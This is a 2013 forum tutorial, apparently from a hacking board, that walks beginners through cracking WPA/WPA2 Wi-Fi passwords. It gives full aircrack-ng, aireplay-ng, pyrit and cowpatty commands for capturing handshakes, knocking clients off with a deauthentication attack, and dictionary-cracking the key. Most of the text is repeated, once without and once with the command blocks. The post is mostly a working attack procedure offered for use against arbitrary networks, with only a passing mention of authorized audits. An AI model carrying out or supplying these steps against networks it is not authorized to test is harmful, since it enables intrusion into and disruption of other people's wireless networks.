[Noob Friendly]Cracking WPA/WPA2-Encryption Pre-Shared Key (PSK) 02-19-2013, 06:48 PM
#1
So first of all you'll need BackTrack, there is many threads where/how get it work so i won't talk much about it...
Progams we gonna use:
1.Aircrack-ng suite
2. Pyrit
3-Cowpatty
also you'll need graphic card drivers installed
HOW TO INSTALL PYRIT:
1. Create main directory tree for pyrit installation
2. Install dependencies and libraries
3. Build pyrit
SO LETS GET STARTED
1.) -We need to check aviable wireless interface
usualy you gonna see something like "wlan0 Link encap:Ethernet ....." and all info about that interface...
-Now let's start wireless interface in monitor mode (monitor mode enabled on mon0)
wlan0 is the wireless interface name
2.) - start airodump-ng to collect authentication handshake and keep it running until 4-way handshake is captured
-->run airodump on monitor mode enabled interface to find wireless networks
-c x/xx is the channel for the targets wireless network ( in CH column)
-bssid xx:xx:xx:xx:xx:xx is the MAC address of the targets AP (Acess Point)
-w capture is the file name prefix for the file which will contain the IVs....
3.) Now lets deauthenticate wireless clients using aireplay-ng
-0 indicates de-authentication attack
1 is the number of de-autentication packets to send. If requred can be increased....
-a xx:xx:xx:xx:xx:xx is the MAC address of the target AP
-c yy:yy:yy:yy:yy:yy is the MAC address of the client to be de authenticated (skip this parameter to de-authenticate all the connected clients
This attack is used to obtain 4-way handshake by forcing clients to re-establish the connection
4.) Check the integrity of captured 4-way handshake using cowpatty and/or pyrit
Now we assume that a 4-way handshake has been captured.
A successfully complete capture of 4way handshake will return
" Collected all necessary data to mount crack against WPA/PSK passphrase"
also an incomplete capture will return
" End of pcap capture file, incomplete 4way handshake exchange. Try using a different capture"
we can do it with pyrit too
successful capture will return : couple of "good" | "workable" handshaker
incomplete capture will return: No valid EAOPL-handshake + ESSID detected
TIP: in case of an incomplete 4way handshake exchange capture it again....
5.) Crack the pre-shared key ( 4 ways to do it)
5.1) use aircerack-ng to crack the pre-shared key (without CUDA (formerly Compute Unified Device Architecture) ( the slowest option)
-w password.lst is the dictionary file (you can make it or download it (more words= more chance to success)
-b xx:xx:xx:xx:xx:xx is the MAC address of the target AP
capture.cap is the file containing captured 4way handshake
5.2) use pyrit and cowpatty to crack key on the fly (passthrough mode using CUDA) (faster then 5.1)
more about CUDA on BT here
This avoids the creation of tables and their storage on HD
-e ESSID is the name of AP
-i password.lst dictionary file
passthrough is the mode
5.3) use pyrit alone to crack key on the fly (attack_passthrough mode) ( the fastest way)
5.4) Pyrit CUDA batch mode (create rainbow tables with pyrit)
this method is useful when more than one AP shares the same name but different passphrase or the assessment includes a "post audit" on the target to confirm the remediation
-create an ESSID and add to the pyrit database
- import passwords ( upload the wordlist to the pyrit database)
- start the bach process (can take a long time)
- export rainbow tables to copatty or let pyrit itself crack key
*** USING PYRIT (fastest)
*** export rainbow tables to use with cowpatty (slow)
once its done,send them to cracker
i would like to add for newbies some useful pyrit commands
Useful Pyrit commands:
1. To list ESSIDs added to the database:
2. To create an ESSID and add to the database:
3. To delete an ESSID from the pyrit database:
4. To clean Pyrit blobspace:
_-=THE END=-_
Progams we gonna use:
1.Aircrack-ng suite
2. Pyrit
3-Cowpatty
also you'll need graphic card drivers installed
HOW TO INSTALL PYRIT:
1. Create main directory tree for pyrit installation
Code:
svn checkout http://pyrit.googlecode.com/svn/trunk/ pyrit_svnCode:
#apt-get install libssl-dev
# apt-get install scapy
# apt-get install python-devCode:
# cd pyrit_svn/pyrit
# python setup.py build
# python setup.py installSO LETS GET STARTED
1.) -We need to check aviable wireless interface
Code:
ifconfigusualy you gonna see something like "wlan0 Link encap:Ethernet ....." and all info about that interface...
-Now let's start wireless interface in monitor mode (monitor mode enabled on mon0)
Code:
airmon-ng start wlan0wlan0 is the wireless interface name
2.) - start airodump-ng to collect authentication handshake and keep it running until 4-way handshake is captured
Code:
airodump-ng mon0Code:
airodump-ng -c X/XX --bssid xx:xx:xx:xx:xx:xx -w capture mon0-c x/xx is the channel for the targets wireless network ( in CH column)
-bssid xx:xx:xx:xx:xx:xx is the MAC address of the targets AP (Acess Point)
-w capture is the file name prefix for the file which will contain the IVs....
3.) Now lets deauthenticate wireless clients using aireplay-ng
Code:
aireplay-ng -0 1 -a xx:xx:xx:xx:xx:xx -c yy:yy:yy:yy:yy:yy mon0-0 indicates de-authentication attack
1 is the number of de-autentication packets to send. If requred can be increased....
-a xx:xx:xx:xx:xx:xx is the MAC address of the target AP
-c yy:yy:yy:yy:yy:yy is the MAC address of the client to be de authenticated (skip this parameter to de-authenticate all the connected clients
This attack is used to obtain 4-way handshake by forcing clients to re-establish the connection
4.) Check the integrity of captured 4-way handshake using cowpatty and/or pyrit
Now we assume that a 4-way handshake has been captured.
Code:
cowpatty -r capture.cap -cA successfully complete capture of 4way handshake will return
" Collected all necessary data to mount crack against WPA/PSK passphrase"
also an incomplete capture will return
" End of pcap capture file, incomplete 4way handshake exchange. Try using a different capture"
we can do it with pyrit too
Code:
pyrit -r capture.cap analyzesuccessful capture will return : couple of "good" | "workable" handshaker
incomplete capture will return: No valid EAOPL-handshake + ESSID detected
TIP: in case of an incomplete 4way handshake exchange capture it again....
5.) Crack the pre-shared key ( 4 ways to do it)
5.1) use aircerack-ng to crack the pre-shared key (without CUDA (formerly Compute Unified Device Architecture) ( the slowest option)
Code:
aircrack-ng -w password.lst -b xx:xx:xx:xx:xx:xx capture.cap-w password.lst is the dictionary file (you can make it or download it (more words= more chance to success)
-b xx:xx:xx:xx:xx:xx is the MAC address of the target AP
capture.cap is the file containing captured 4way handshake
5.2) use pyrit and cowpatty to crack key on the fly (passthrough mode using CUDA) (faster then 5.1)
more about CUDA on BT here
This avoids the creation of tables and their storage on HD
Code:
pyrit -e ESSID -i password.lst -o -passthrough | cowpatty -d --r capture.cap -s ESSID-e ESSID is the name of AP
-i password.lst dictionary file
passthrough is the mode
5.3) use pyrit alone to crack key on the fly (attack_passthrough mode) ( the fastest way)
Code:
pyrit -e ESSID -i password.lst -r capture.cap attack_passthrough5.4) Pyrit CUDA batch mode (create rainbow tables with pyrit)
this method is useful when more than one AP shares the same name but different passphrase or the assessment includes a "post audit" on the target to confirm the remediation
-create an ESSID and add to the pyrit database
Code:
pyrit -e ESSID create_essid- import passwords ( upload the wordlist to the pyrit database)
Code:
pyrit -i password.lst import_passwords- start the bach process (can take a long time)
Code:
pyrit batch- export rainbow tables to copatty or let pyrit itself crack key
*** USING PYRIT (fastest)
Code:
pyrit -e ESSID -r capture.cap attack_batch*** export rainbow tables to use with cowpatty (slow)
Code:
pyrit -e ESSID -o ESSID.cow export_cowpattyonce its done,send them to cracker
Code:
cowpatty -d ESSID.cow -r capture.cap -s ESSIDi would like to add for newbies some useful pyrit commands
Useful Pyrit commands:
1. To list ESSIDs added to the database:
Code:
pyrit list_essidsCode:
pyrit –e ESSID create_essidCode:
pyrit –e ESSID delete_essidCode:
cd (change directory to home directory)
cd .pyrit/ (hidden directory under home directory)
rm –rf blobspace_-=THE END=-_


![[+]](https://sinister.li/images/modern/collapse_collapsed.png)
![[Image: icanseeyou1234.jpg]](http://www.danasoft.com/sig/icanseeyou1234.jpg)